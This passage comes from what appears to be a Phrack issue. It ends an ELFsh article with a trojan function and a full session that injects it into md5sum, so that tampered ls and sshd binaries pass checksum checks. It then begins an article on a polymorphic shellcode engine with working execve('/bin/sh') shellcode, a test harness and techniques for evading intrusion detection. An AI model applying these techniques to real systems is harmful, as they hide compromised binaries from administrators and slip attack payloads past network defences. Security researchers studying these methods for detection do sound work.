int fopen64_troj(char *str1, char *str2)
{
if (!mystrcmp(str1, LS))
str1 = HIDDEN_DIR "/" LS_BAQ;
else if (!mystrcmp(str1, SSHD))
str1 = HIDDEN_DIR "/" SSHD_BAQ;
return (old_fopen64(str1, str2));
}
$ gcc test.c -c
$
-----END EXAMPLE 17-----
For this last example, the full relinking information
will be printed on stdout, so that the reader can enjoy
all the details of the implementation:
-----BEGIN EXAMPLE 18-----
$
Welcome to The ELF shell 0.5b9 .::.
.::. This software is under the General Public License
.::. Please visit http://www.gnu.org to know about Free Software
~load /usr/bin/md5sum
[*] New object /usr/bin/md5sum loaded on Sat Aug 2 16:16:32 2003
~exec cc test.c -c
[*] Command executed successfully
~load test.o
[*] New object test.o loaded on Sat Aug 2 16:16:32 2003
~reladd 1 2
[DEBUG_RELADD] Found BSS zone lenght [00000000] for module [test.o]
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.text [080470F4]
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.rodata [080460F4]
[DEBUG_RELADD] Inserted STT_SECT symbol .orig.plt [080450F4]
[DEBUG_RELADD] Injected symbol old_dlresolve [080450F4]
[DEBUG_RELADD] Injected symbol old_ferror [08045104]
[DEBUG_COPYPLT] Symbol at .plt + 16 injected succesfully
[DEBUG_RELADD] Injected symbol old_strchr [08045114]
[DEBUG_COPYPLT] Symbol at .plt + 32 injected succesfully
[DEBUG_RELADD] Injected symbol old_feof [08045124]
[DEBUG_COPYPLT] Symbol at .plt + 48 injected succesfully
[DEBUG_RELADD] Injected symbol old___register_frame_info [08045134]
[DEBUG_COPYPLT] Symbol at .plt + 64 injected succesfully
[DEBUG_RELADD] Injected symbol old___getdelim [08045144]
[DEBUG_COPYPLT] Symbol at .plt + 80 injected succesfully
[DEBUG_RELADD] Injected symbol old_fprintf [08045154]
[DEBUG_COPYPLT] Symbol at .plt + 96 injected succesfully
[DEBUG_RELADD] Injected symbol old_fflush [08045164]
[DEBUG_COPYPLT] Symbol at .plt + 112 injected succesfully
[DEBUG_RELADD] Injected symbol old_dcgettext [08045174]
[DEBUG_COPYPLT] Symbol at .plt + 128 injected succesfully
[DEBUG_RELADD] Injected symbol old_setlocale [08045184]
[DEBUG_COPYPLT] Symbol at .plt + 144 injected succesfully
[DEBUG_RELADD] Injected symbol old___errno_location [08045194]
[DEBUG_COPYPLT] Symbol at .plt + 160 injected succesfully
[DEBUG_RELADD] Injected symbol old_puts [080451A4]
[DEBUG_COPYPLT] Symbol at .plt + 176 injected succesfully
[DEBUG_RELADD] Injected symbol old_malloc [080451B4]
[DEBUG_COPYPLT] Symbol at .plt + 192 injected succesfully
[DEBUG_RELADD] Injected symbol old_fread [080451C4]
[DEBUG_COPYPLT] Symbol at .plt + 208 injected succesfully
[DEBUG_RELADD] Injected symbol old___deregister_frame_info [080451D4]
[DEBUG_COPYPLT] Symbol at .plt + 224 injected succesfully
[DEBUG_RELADD] Injected symbol old_bindtextdomain [080451E4]
[DEBUG_COPYPLT] Symbol at .plt + 240 injected succesfully
[DEBUG_RELADD] Injected symbol old_fputs [080451F4]
[DEBUG_COPYPLT] Symbol at .plt + 256 injected succesfully
[DEBUG_RELADD] Injected symbol old___libc_start_main [08045204]
[DEBUG_COPYPLT] Symbol at .plt + 272 injected succesfully
[DEBUG_RELADD] Injected symbol old_realloc [08045214]
[DEBUG_COPYPLT] Symbol at .plt + 288 injected succesfully
[DEBUG_RELADD] Injected symbol old_textdomain [08045224]
[DEBUG_COPYPLT] Symbol at .plt + 304 injected succesfully
[DEBUG_RELADD] Injected symbol old_printf [08045234]
[DEBUG_COPYPLT] Symbol at .plt + 320 injected succesfully
[DEBUG_RELADD] Injected symbol old_memcpy [08045244]
[DEBUG_COPYPLT] Symbol at .plt + 336 injected succesfully
[DEBUG_RELADD] Injected symbol old_fclose [08045254]
[DEBUG_COPYPLT] Symbol at .plt + 352 injected succesfully
[DEBUG_RELADD] Injected symbol old_getopt_long [08045264]
[DEBUG_COPYPLT] Symbol at .plt + 368 injected succesfully
[DEBUG_RELADD] Injected symbol old_fopen64 [08045274]
[DEBUG_COPYPLT] Symbol at .plt + 384 injected succesfully
[DEBUG_RELADD] Injected symbol old_exit [08045284]
[DEBUG_COPYPLT] Symbol at .plt + 400 injected succesfully
[DEBUG_RELADD] Injected symbol old_calloc [08045294]
[DEBUG_COPYPLT] Symbol at .plt + 416 injected succesfully
[DEBUG_RELADD] Injected symbol old__IO_putc [080452A4]
[DEBUG_COPYPLT] Symbol at .plt + 432 injected succesfully
[DEBUG_RELADD] Injected symbol old_free [080452B4]
[DEBUG_COPYPLT] Symbol at .plt + 448 injected succesfully
[DEBUG_RELADD] Injected symbol old_error [080452C4]
[DEBUG_COPYPLT] Symbol at .plt + 464 injected succesfully
[DEBUG_RELADD] Entering intermediate symbol injection loop
[DEBUG_RELADD] Injected ET_REL symbol mystrcmp [080470F4]
[DEBUG_RELADD] Injected symbol mystrcmp [080470F4]
[DEBUG_RELADD] Injected ET_REL symbol fopen64_troj [08047188]
[DEBUG_RELADD] Injected symbol fopen64_troj [08047188]
[DEBUG_RELADD] Entering final relocation loop
[DEBUG_RELADD] Relocate using section test.o.rodata base [-> 080460F4]
[DEBUG_RELADD] Relocate using section test.o.text base [-> 080470F4]
[DEBUG_RELADD] Relocate using section test.o.rodata base [-> 080460FC]
[DEBUG_RELADD] Relocate using section test.o.rodata base [-> 08046117]
[DEBUG_RELADD] Relocate using section test.o.text base [-> 080470F4]
[DEBUG_RELADD] Relocate using section test.o.rodata base [-> 08046126]
[DEBUG_RELADD] Relocate using existing symbol old_fopen64 [08045274]
[*] ET_REL test.o injected succesfully in ET_EXEC /usr/bin/md5sum
~redir fopen64 fopen64_troj
[*] Function fopen64 redirected to addr 0x08047188 <fopen64_troj>
~save md5sum.new
[*] Object md5sum.new save successfully
~quit
[*] Unloading object 1 (test.o)
[*] Unloading object 2 (/usr/bin/md5sum) *
Good bye ! .::. The ELF shell 0.5b9
$
-----END EXAMPLE 18-----
As shown in the script output, the new file has got new
symbols (the old symbols). Let's observe them using the
elfsh '-sym' command and the regex capability ('old') :
-----BEGIN EXAMPLE 19-----
$ elfsh -q -f md5sum.new -sym old
[SYMBOL TABLE]
[Object md5sum.new]
[27] 0x80450f4 FUNC old_dlresolve sz:16 scop:Local
[28] 0x8045104 FUNC old_ferror sz:16 scop:Local
[29] 0x8045114 FUNC old_strchr sz:16 scop:Local
[30] 0x8045124 FUNC old_feof sz:16 scop:Local
[31] 0x8045134 FUNC old___register_frame_info sz:16 scop:Local
[32] 0x8045144 FUNC old___getdelim sz:16 scop:Local
[33] 0x8045154 FUNC old_fprintf sz:16 scop:Local
[34] 0x8045164 FUNC old_fflush sz:16 scop:Local
[35] 0x8045174 FUNC old_dcgettext sz:16 scop:Local
[36] 0x8045184 FUNC old_setlocale sz:16 scop:Local
[37] 0x8045194 FUNC old___errno_location sz:16 scop:Local
[38] 0x80451a4 FUNC old_puts sz:16 scop:Local
[39] 0x80451b4 FUNC old_malloc sz:16 scop:Local
[40] 0x80451c4 FUNC old_fread sz:16 scop:Local
[41] 0x80451d4 FUNC old___deregister_frame_info sz:16 scop:Local
[42] 0x80451e4 FUNC old_bindtextdomain sz:16 scop:Local
[43] 0x80451f4 FUNC old_fputs sz:16 scop:Local
[44] 0x8045204 FUNC old___libc_start_main sz:16 scop:Local
[45] 0x8045214 FUNC old_realloc sz:16 scop:Local
[46] 0x8045224 FUNC old_textdomain sz:16 scop:Local
[47] 0x8045234 FUNC old_printf sz:16 scop:Local
[48] 0x8045244 FUNC old_memcpy sz:16 scop:Local
[49] 0x8045254 FUNC old_fclose sz:16 scop:Local
[50] 0x8045264 FUNC old_getopt_long sz:16 scop:Local
[51] 0x8045274 FUNC old_fopen64 sz:16 scop:Local
[52] 0x8045284 FUNC old_exit sz:16 scop:Local
[53] 0x8045294 FUNC old_calloc sz:16 scop:Local
[54] 0x80452a4 FUNC old__IO_putc sz:16 scop:Local
[55] 0x80452b4 FUNC old_free sz:16 scop:Local
[56] 0x80452c4 FUNC old_error sz:16 scop:Local
$
-----END EXAMPLE 19-----
It sounds good ! Does it work now?
$ md5sum /bin/bash
ebe1f822a4d026c366c8b6294d828c87 /bin/bash
$ ./md5sum.new /bin/bash
ebe1f822a4d026c366c8b6294d828c87 /bin/bash
$ md5sum /bin/ls
3b622e661f6f5c79376c73223ebd7f4d /bin/ls
$ ./md5sum.new /bin/ls
./md5sum.new: /bin/ls: No such file or directory
$ md5sum /usr/sbin/sshd
720784b7c1e5f3418710c7c5ebb0286c /usr/sbin/sshd
$ ./md5sum.new /usr/sbin/sshd
./md5sum.new: /usr/sbin/sshd: No such file or directory
$ ./md5sum.new ./md5sum.new
b52b87802b7571c1ebbb10657cedb1f6 ./md5sum.new
$ ./md5sum.new /usr/bin/md5sum
8beca981a42308c680e9669166068176 /usr/bin/md5sum
$
Heheh. It work so well that even if you forget to put the original
copy in your hidden directory, md5sum prints the original path and
not your hidden directory path ;). This is because we only change a
local pointer in the fopen64_troj() function, and the caller function
is not aware of the modification, so the caller error message is
proceeded with the original path.
Let's give the detailed algorithm for the ALTPLT technique. It must
be used as a '2 bis' step in the main ET_REL injection algorithm
given in the previous chapter, so that injected code can use any
old_* symbols:
- Create new section header with same size, type, rights as .plt
- Insert new section header
IF current OS == FreeBSD
[
- Inject section using post-bss technique.
]
ELSE
[
- Inject section using pre-interp technique.
]
FOREACH .plt entry (while counter < sh_size)
[
IF counter == 0 AND current architecture is SPARC
[
- Infect current entry using %g2 register.
]
- Inject new 'old_<name>' symbol pointing on current entry
(= sh_addr + cnt)
- Add PLT entry size in bytes (SPARC: 12, INTEL: 16) to cnt
]
This algorithm is executed once and only once per ET_EXEC file. The
'redir' command actually performs the PLT infection on demand. A
future (better) version of this command would allow core binary
function hijacking. Since the code segment is read-only in userland,
we cant modify the first bytes of the function at runtime and perform
some awful bytes restoration [13] [14] for calling back the original
function. The best solution is probably to build full control flow
graphs for the target architecture, and redirect all calls to a given
block (e.g. the first block of the hijacked function), making all
these calls point to the hook function, as suggested in [15] . ELFsh
provides INTEL control flow graphs (see modflow/modgraph), so does
objobf [16], but the feature is not yet available for other
architectures, and some specific indirect branchement instructions
are not easily predictable [17] using static analysis only, so it
remains in the TODO.
-------[ 5. The end ?
This is the end, beautiful friend. This is the end, my only friend,
the end... Of course, there is a lot of place for improvements and new
features in this area. More target architectures are planed (pa-risc,
alpha, ppc?), as well as more ELF objects support (version tables,
ELF64) and extension for the script langage with simple data and
control flow support. The ELF development is made easy using the
libelfsh API and the script engine. Users are invited to improve the
framework and all comments are really welcomed.
-------[ 6. Greets
Greets go to #!dh and #dnerds peoples, you know who you are. Special
thanks to duncan @ mygale and zorgon for beeing cool-asses and giving
precious feedback.
Other thanks, in random order : Silvio Cesare for his great work on
the first generation ELF techniques (I definitely learnt a lot from
you), all the ELFsh betatesters & contributors (y0 kil3r and thegrugq)
who greatly helped to provide reliable and portable software, pipash for
finding all the 76 char lenght lines of the article (your feedback
r00lz as usual ;) and grsecurity.net (STBWH) for providing a useful
sparc/linux account.
Last minut big thanks to the M1ck3y M0us3 H4ck1ng Squ4dr0n and all the
peoples at Chaos Communication Camp 2003 (hi Bulba ;) for the great
time I had with them during those days, you guyz rock.
-------[ 7. References
[1] The ELF shell project The ELF shell crew
MAIN : elfsh.devhell.org
MIRROR : elfsh.segfault.net
[2] PaX project The PaX team
pageexec.virtualave.net
[3] ELF TIS reference
x86.ddj.com/ftp/manuals/tools/elf.pdf
www.sparc.com/standards/psABI3rd.pdf (SPARC supplement)
[4] UNIX ELF parasites and virus silvio
www.u-e-b-i.com/silvio/elf-pv.txt
[5] Shared library redirection by ELF PLT infection silvio
phrack.org/phrack/56/p56-0x07
[6] Understanding ELF rtld internals mayhem
devhell.org/~mayhem/papers/elf-rtld.txt
[7] More ELF buggery (bugtraq post) thegrugq
www.securityfocus.com/archive/1/274283/2002-05-21/2002-05-27/0
[8] Runtime process infection anonymous
phrack.org/phrack/59/p59-0x08.txt
[9] Subversive ELF dynamic linking thegrugq
downloads.securityfocus.com/library/subversiveld.pdf
[10] Static kernel patching jbtzhm
phrack.org/phrack/60/p60-0x08.txt
[11] Run-time kernel patching silvio
www.u-e-b-i.com/silvio/runtime-kernel-kmem-patching.txt
[12] Bypassing stackguard and stackshield bulba/kil3r
phrack.org/phrack/56/p56-0x05
[13] Kernel function hijacking silvio
www.u-e-b-i.com/silvio/kernel-hijack.txt
[14] IA32 advanced function hooking mayhem
phrack.org/phrack/58/p58-0x08
[15] Unbodyguard (solaris kernel function hijacking) noir
gsu.linux.org.tr/~noir/b.tar.gz
[16] The object code obfuscator tool of burneye2 scut
segfault.net/~scut/objobf/
[17] Secure Execution Via Program Shepherding Vladimir Kiriansky
www.cag.lcs.mit.edu/dynamorio/security-usenix.pdf Derek Bruening
Saman Amarasinghe
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x09 of 0x0f
|=--------[Polymorphic Shellcode Engine Using Spectrum Analysis]--------=|
|=----------------------------------------------------------------------=|
|=--------[ theo detristan theo@ringletwins.com ]--------=|
|=--------[ tyll ulenspiegel tyllulenspiegel@altern.org ]--------=|
|=--------[ yann_malcom yannmalcom@altern.org ]--------=|
|=--------[ mynheer superbus von underduk msvu@ringletwins.com ]--------=|
|=----------------------------------------------------------------------=|
--[ 0 - Contents
1 - Abstract
2 - Introduction
3 - Polymorphism: principles and usefulness against NIDS.
4 - Make the classical IDS pattern matching inefficient.
5 - Spectrum Analysis to defeat data mining methods.
6 - The CLET polymorphism engine
7 - References
--[ 1 - Abstract
Nowadays, polymorphic is maybe an overused word. Some programs called
polymorphism engine have been lately released with constant decipher
routines. Polymorphism is a method against pattern matching (cf 3.2),
if you have constant consecutive bytes in the code you generate, NIDS
will always be able to recognize the signature of those constant bytes...
In some real engine (which generate non-constant decipher routine like
ADMmutate), there are some weaknesses left (maybe weaknesses isn't the
best word since the recent NIDS are not able to exploit them) like the
XOR problem (cf 4.2) or a NOP zone with only one byte instructions
(cf 4.1). In our engine, we have been interested in these problems (cf 4)
and we have tried to implement some solutions. We have tried too to
implement methods against the next generation of NIDS using data-mining
methods (cf 5).
However we don't claim to have created an 'ultimate' polymorphic
engine. We are aware of some weaknesses that exist and can be solved with
solutions we expose below but we haven't implemented yet. There are
probably some weaknesses too we're not aware of, your mails are welcome
for the next version.
This article explains our work, our ideas, we hope you will enjoy it.
--[ 2 - Introduction
Since the famous "Smashing the stack for fun and profit", the technique
of buffer overflow has been widely used to attack systems.
To confine the threat new defense systems have appeared based on pattern
matching. Nowadays, Intrusion Detection System (IDS) listen the trafic
and try to detect and deny packets containing shellcode used in buffer
overflow attacks.
On the virus scene, a technique called polymorphism appeared in 1992. The
idea behind this technique is very simple, and this idea can be applied to
shellcodes. ADMmutate is a first public attempt to apply polymorphism to
shellcode.
Our aim was to try to improve the technique, find enhancements and to
apply them to an effective polymophic shellcode engine.
--[ 3 - Polymorphism: principles and usefulness against NIDS.
----[ 3.1 - Back in 1992...
In 1992, Dark Avenger invented a revolutionary technique he called
polymorphism. What is it ? It simply consist of ciphering the code of the
virus and generate a decipher routine which is different at each time, so
that the whole virus is different at each time and can't be scanned !
Very good polymorphic engines have appeared : the TridenT Polymorphic
Engine (TPE), Dark Angel Mutation Engine (DAME).
As a consequence, antivirus makers developped new heuristic techniques
such as spectrum analysis, code emulators, ...
----[ 3.2 - Principles of polymorphism
Polymorphism is a generic method to prevent pattern-matching. Pattern-
matching means that a program P (an antivirus or an IDS) has a data-base
with 'signatures'. A signature is bytes suite identifying a program.
Indeed, take the following part of a shellcode:
push byte 0x68
push dword 0x7361622f
push dword 0x6e69622f
mov ebx,esp
xor edx,edx
push edx
push ebx
mov ecx,esp
push byte 11
pop eax
int 80h
This part makes an execve("/bin/bash",["/bin/bash",NULL],NULL) call.
This part is coded as:
"\x6A\x68\x68\x2F\x62\x61\x73\x68\x2F\x62\x69\x6E\x89\xE3\x31\xD2"
"\x52\x53\x89\xE1\x6A\x0B\x58\xCD\x80".
If you locate this contiguous bytes in a packet destinated to a web
server, it can be an attack. An IDS will discard this packet.
Obviously, there are other methods to make an execve call, however, it
will make an other signature. That's what we call pattern matching.
Speak about viruses or shellcodes is not important, the principles are the
same. We will see later the specificities of shellcodes.
Imagine now you have a code C that a program P is searching for. Your
code is always the same, that's normal, but it's a weakness. P can have
a caracteristic sample, a signature, of C and make pattern matching to
detect C. And then,C is no longer useable when P is running.
The first idea is to cipher C. Imagine C is like that :
[CCCCCCC]
Then you cipher it :
[KKKKKKKK]
But if you want to use C, you must put a decipher routine in front of it :
[DDDDKKKKKKKK]
Great ! You have ciphered C and the sample of C that is in P is no longer
efficient. But you have introduced a new weakness because your decipher
routine will be rather the same (except the key) each time and P will be
able to have a sample of the decipher routine.
So finally, you have ciphered C but it is still detected :(
And polymorphism was born !
The idea is to generate a different decipher routine each time."different"
really means different, not just the key. You can do it with different
means :
- generate a decipher routine with different operations at each time. A
classic cipher/decipher routine uses a XOR but you can use whatever
operation that is reversible : ADD/SUB, ROL/ROR, ...
- generate fake code between the true decipher code. For example, if you
don't use some registers, you can play with them, making fake operations
in the middle of the effective decipher code.
- make all of them.
So a polymorphism engine makes in fact 2 things :
- cipher the body of the shellcode.
- generate a decipher routine which is _different_ at each time.
----[ 3.3 - Polymorphism versus NIDS.
A code of buffer overflow has three or four parts:
--------------------------------------------------------------------------
| NOP | shellcode | bytes to cram | return adress |
--------------------------------------------------------------------------
Nowadays, NIDS try to find consecutive NOPs and make pattern matching on
the shellcodes when it believes to have detected a fakenop zone. This is
not a really efficient method, however we could imagine methodes to
recognize the part of bytes which cram the buffer or the numberous
consecutive return adresses.
So, our polymorphic engine have to work on each of those parts to make them
unrecognizable. That's what we try to do:
- firstly, the NOPs series is changed in a series of random instructions
(cf 4.1 "fake-nop") of 1,2,3 bytes.
- secondly, the shellcode is ciphered (with a random method using more
than an only XOR) and the decipher routine is randomly generated.
(cf 4.2)
- thirdly, in a polymorphic shellcode, a big return adress zone has to
be avoided. Indeed, such a big zone can be detected, particulary by
data mining methods. To defeat this detection, the idea is to try to
limit the size of the adress zone and to add bytes we choose between
shellcode and this zone. This bytes are chosen randomly or by using
spectrum analysis (cf 5.3.A).
- endly, we haven't found a better method than ADMmutate's to covert
the return adresses: since the return adresse is chosen with
uncertainly, ADMmutate changes the low-weight bits of the return adress
between the different occurences (cf 4.2).
NB: Shellcodes are not exactly like virus and we can take advantage of it:
- A virus must be very careful that the host program still works after
infection ; a shellcode does not care! We know that the shellcode will
be the last thing to be executed so we can do what we want with
registers for example, no need to save them.
We can take good avantage of this, and in our fake-nop don't try to make
code which makes nothing (like INCR & DECR, ADD & SUB or PUSH & POP...)
(what could be moreover easily recognizable by an IDS which would
make code emulation). Our fake-nop is a random one-byte instructions
code, and we describe another method (not implemented yet) to improve
this, because generating only one-byte instructions is still a weakness.
- The random decipher method has to be polymorphed with random code (but
not necessarily one-byte instructions) wich makes anything but without
consequences on the deciphering (hum... not implemented yet :(
- A shellcode must not have zeroes in it, since, for our using, we always
using strings to stock our code. so we have to take care of it...
Thus, this is what a polymorphic shellcode looks like:
-------------------------------------------------------------------------
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------
Let's now study each part of it.
--[ 4 - Make classical IDS pattern matching inefficient.
----[ 4.1 - Fake NOPs zone with 2,3 bytes instructions.
------[ 4.1.A - Principles
NOPs are necessary before the shellcode itself. In fact, why is it
necessary ? Because we don't know exactly where we jump, we just know we
jump in the middle of the NOPs (cf article of Aleph One [1]). But it is
not necessary to have NOPs, we can have almost any non-dangerous
instructions. Indeed, we don't have to save some register, the only
condition we have is to arrive until the decipher routine without errors.
However we can't use any 'non-dangerous' instructions. Indeed, remember
we don't know exactly where we jump.
One method to avoid this problem is to make the nop zone with only one-
byte instructions. Indeed, in such a case, wherever we jump we fall on
an correct instruction. The problem of such a choice is that there is not
a lot of one byte instructions. It is thus relatively easy for an IDS to
detect the NOPs zone. Hopefully many one-byte instructions can be coded
with an uppercase letter, and so we could hide the nop zone in an
alphanumeric zone using the american-english dictionnary (option -a of
clet). However, as we explain in 5, such a choice can be inefficience,
above all when the service asked is not an 'alphanumeric service' (cf 5).
Thus the problem is : how could we generate a random fake-nop using
several-bytes instructions to better covert our fake nop?
There is a simple idea: we could generate two-byte intructions, the
second byte of which is a one-byte instruction or the first byte of a
two-byte instruction of this type and then recursively.
But let's see what can be problems of such a method.
------[ 4.1.B - Non-dangerous several bytes instructions.
- Instructions using several bytes can be dangerous because they can
modify the stack or segment selectors (etc...) with random effects.
So we have to choice harmless instructions (to do it, the book [3] is
our friend... but we have to make a lot of tests on the instructions we
are choosing).
- Some times, several-bytes instructions ask for particular suffixes to
specify a register or a way of using this instruction (see modR/M
[3]). For example, instruction CMP rm32,imm32 (compare) with such a code
"0x81 /7 id" is a 6-bytes instruction which asks for a suffix to specify
the register to use, and this register must belong to the seventh column
of the "32-bit adressing Forms with the modR/M Byte" (cf[3]). However,
remember that everywhere the code pointer is pointing within the
fake-nop, it must be able to read a valid code. So the suffix and
arguments of instructions must be instructions themselves.
------[ 4.1.C - An easy case
Let's take the string : \x15\x11\xF8\xFA\x81\xF9\x27\x2F\x90\x9E
If we are following this code from the begining, we are reading:
ADC $0x11F8FA81 #instruction demanding 4-bytes argument
STC #one-byte instructions
DAA
DAS
NOP
SAHF
If we are begining from the second byte, we are reading:
ADC %eax,%edx
CMP %ecx,$0x272F909E
Etc... We can begin from everywhere and read a valid code which makes
nothing dangerous...
------[ 4.1.D Test the fake-nop
char shell[] =
"\x99\x13\xF6\xF6\xF8" //our fake_nop
"\x21\xF8\xF5\xAE"
"\x98\x99\x3A\xF8"
"\xF6\xF8"
"\x3C\x37\xAF\x9E"
"\xF9\x3A\xFC"
"\x9F\x99\xAF\x2F"
"\xF7\xF8\xF9\xAE"
"\x3C\x81\xF8\xF9"
"\x10\xF5\xF5\xF8"
"\x3D\x13\xF9"
"\x22\xFD\xF9\xAF"
//shellcode
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
void (*go)()=(void *) shell;
go();
return(0);
}
We test a fake_nop string generate with our code... but it's not really
efficient as you can see :
when the adress (shell+i) of the function go() is change the testing
program exited with:
shell -> sh-2.05b$
shell+1 -> sh-2.05b$
shell+2 -> Floating point exception Argh!
shell+3 -> sh-2.05b$
shell+4 -> sh-2.05b$
...
shell+11 -> sh-2.05b$
We haven't been care enough with the choice and the organization of our
instructions for the fake_nop and then we can randomly have segfaults
or Floating point exceptions...(Really boring)
------[ 4.2 - The decipher routine
There are maybe two different methods to generate a decipher routine:
- you can use always the same routine but modify instructions. For
instance you can use add eax,2 or inc eax; inc eax; the result will be
the same but the code not.
- you can generate a different routine of decipher too.
In this two methods, you can add code between instructions of the
decipher routine. Obviously, this add code mustn't modify running of this
routine.
CLET have chosen the second approach, and we don't generate code between
instructions because registers we use, order of instructions, type of
instructions (ADD,SUB,ROL,ROR,XOR) change each time. Thus it is not
necessary to add instructions...
* XOR with a fixed size key is not enough
There is a problem with using a decipher routine with only a XOR and a
fixed size key. Mark Ludwig [5] describes it in From virus to antivirus
with a concrete example. The real problem comes from the associativity and
commutativity of the XOR operation and from the constant size of the key.
Imagine you cipher these two bytes B1 B2 with the key K, you obtain two
ciphered bytes: C1 C2.
C1 XOR C2 = (B1 XOR K) XOR (B2 XOR K)
= B1 XOR K XOR B2 XOR K
= B1 XOR B2 XOR K XOR K
= B1 XOR B2 XOR (K XOR K)
= B1 XOR B2 XOR 0
= B1 XOR B2
= Constant (independant on K)
We understand why an encrypted shellcode with a only XOR decipher routine
and a fixed size key let a carateristic signature of the shellcode. You
just have to XOR bytes with their neighboor in case of a single byte key,
you will always have the same result, which is independant on K. In case
of you have a key of N bytes, to obtain the signature you XOR bytes k with
bytes k+N. Such a signature could be exploited by the NIDS (however you
need a lot of calculation power).
It's important to notice (thanks for those who tell us ;) ) that the real
problem is not only a XOR. It's an only-XOR encryption AND a fixed size
key. Indeed, some vx polymorphic engines, use an only XOR in the
encryption but the key is not the same for all the ciphering. The key
changes, and size of the key too. In such a case, our demonstration is
inefficient because B1 and B2 are not ciphered with the same key K and you
don't know where is the next byte ciphered with the same key (that's what
you know when you use an only-XOR encryption with a fixed size key of
several bytes.)
So a cipher routine using only a XOR and a fixed size key is not enough.
In CLET we generate routines which cipher with several instructions XOR,
ADD, ROR, ...
* Random registers
Remember we decide to generate a different decipher routine each time.
Even if we change the type of ciphering each time, it is important too to
modify asembler instructions that make this decipher routine. To do so,
we have decided to change registers used. We need three registers, one
to record address where we are working, one to record byte we are working
on, one more register for all the other things. We have the choice between
eax,ebx,ecx,edx. Thus we randomly use three of this registers each time.
* Four bytes encryption to defeat spectrum analysis methods.
Let's begin to explain what we call a spectrum and what is spectrum
analysis.
A spectrum of a paquet gives you bytes and number of this bytes in this
packet.
For instance, the following board is a spectrum of a paquet called X:
|\x00|\x01|\x08|\x0B|\x12|\x1A| ... |\xFE|\xFF|
-----------------------------------------------
| 25 | 32 | 04 | 18 | 56 | 43 | ... | 67 | 99 |
This board means that there is 25 \x00 in X, 32 \x01, 0 \x02, ...
This board is what we call spectrum of X.
A spectrum analysis method makes spectrums of packets and create rules
thanks to these spectrums. Some IDS use spectrum analysis methods to
discard some packets. For instance, imagine that, in a normal trafic, you
never have packets with more than 20 bytes of \xFF. You can make the
following rule: discard packets with more than 20 bytes of \xFF. This
is a very simple rule of spectrum analysis, in fact lots of rules are
generated (with neural approach for instance, see 5.2) about spectrum of
packets. This rules allow an IDS to discard some packets thanks to their
spectrums. This is what we call a spectrum analysis method.
Now, let's see how an IDS can put together pattern matching and spectral
analysis methods.
The idea is to record signatures but not signatures of consecutive bytes,
signatures of spectrum. For instance, for the previous packet X, we
record: 25, 32, 04, 18, 56, 43, ...., 67, 99. Why these values? Because
if you use a lonely byte encryption these values will always be the same.
In that way, if we cipher paquet X with the cipher routine XOR 02, ADD 1
we obtain a packet X' which spectrum is:
|\x03|\x04|\x0A|\x0B|\x11|\x19| ... |\xFD|\xFE|
-----------------------------------------------
| 25 | 32 | 18 | 04 | 56 | 43 | ... | 67 | 99 |
This spectrum is different, order of values is different; however we have
the same values but affected to other bytes. Spectrum signature is the
same. With such a way of encryption, the spectrum of the occurences of
each encrypted bytes is a permutation of the spectrum of the unencrypted
bytes. The encryption of a lonely byte return a value which is unique and
caracteristical of this byte, that's really a problem.
In order to avoid signatures similarities, the shellcode is four bytes
encrypted and this method prevents us to have a singular spectrum of
occurences. Indeed, if we crypt FFFFFFFF for instance with XOR AABBCCDD,
ADD 1, we obtain 66554433. Thus, spectrum of X' won't be a permutation
of spectrum of X. A four-bytes encryption allows us to avoid this kind
of spectrum analysis.
But spectrum analysis methods are just a kind of more general methods,
called data-mining methods. We will see now what are these methods and
how we can use spectrum analysis of the trafic to try to defeat this more
general kind of methods.
--[ 5 - Spectrum Analysis to defeat data mining methods
----[ 5.1 - History
When vxers had discovered polymorphism, authors of antivirus were afraid
that it was the ultimate solution and that pattern matching was dead.
To struggle this new kind of viruses, they decided to modify their
attacks. Antivirus with heuristic analysis were born. This antivirus tries
for instance to execute the code in memory and test if this code modifies
its own instructions (if it tries to decipher it for instance), in such
a case, it can be a polymorphed virus.
As we see upper, four-bytes encryption, not using an only XOR and a fixed
size key, fakenop zone with more than one-byte instructions allow to
'defeat' pattern matching. Perhaps it remains some weaknesses, however we
think that polymorphism engines will be more and more efficient and that
finally it will be too difficult to implement efficient pattern matching
methods in IDS.
Will IDS take example on the antivirus and try to implement heuristic
method? We don't think so because there is a big difference between IDS
and antivirus, IDS have to work in real time clock mode. They can't record
all packets and analyse them later. Maybe an heuristic approach won't be
used. Besides, Snort IDS, which tries to develop methods against
polymorphed shellcodes, don't use heuristic methods but data mining
methods. It's probably these methods which will be developped, so that's
against these methods we try to create polymorphic shellcodes as we
explain in 5.3 after having given a quick explaination about data mining
methods.
----[ 5.2 - A example of a data mining method, the neural approach
or using a perceptron to recognize polymorphic shellcode.
As we explained it before, we want that, from a set of criterions detected
by some network probes, a manager takes a real time reliable decision on
the network trafic. With the development of polymorphic engines, maybe
pattern matching will become inefficient or too difficult to be
implemented because you have to create lots of rules, perhaps sometimes
you don't know. Is there a solution? We have lots of informations and we
want to treat them quickly to finaly obtain a decision, that's the general
goal of what are called data mining methods.
In fact, the goal of data mining is the following:
from a big set of explanatory variables (X1,..,XN) we search to take a
decision on an unknown variable Y. Notice that:
this decision has to be taken quickly (problem of calculating
complexity)
this decision has to be reliable (problem of positif falses...)
There is a lot of methods which belongs to theory of data mining. To
make understanding the CLET approach about anti-data mining methods, we
have decided to show one of them (actually bases of one of them): the
connexionist method because this method has several qualities for
intrusion detection:
the recognition of intrusion is based on learning. For example, with an
only neuron, the learning consists in choosing the best explanatory
variables X1,...,XN and setting the best values for the parameters
w1,...wN (cf below).
thanks to this learning, a neural network is very flexible and is able
to work with a big number of variables and with explanation of Y with the
variables X1,...,XN ().
So, in a network, such an approach seems to be interesting, since the
number of explanatory variables is certainly huge. Let's explain bases of
it.
------[ 5.2.A - Modelising a neuron.
To understand how can work an IDS using a data-mining method based on
neural approach, we have to understand how work a neuron (so called
because this kind of programs copy neuron of your brain). The scheme
below explains how a neuron runs.
As in your brain, a neuron is a simple calculator.
____________
X1 --------w1--------| |
| |
X2---------w2--------| |
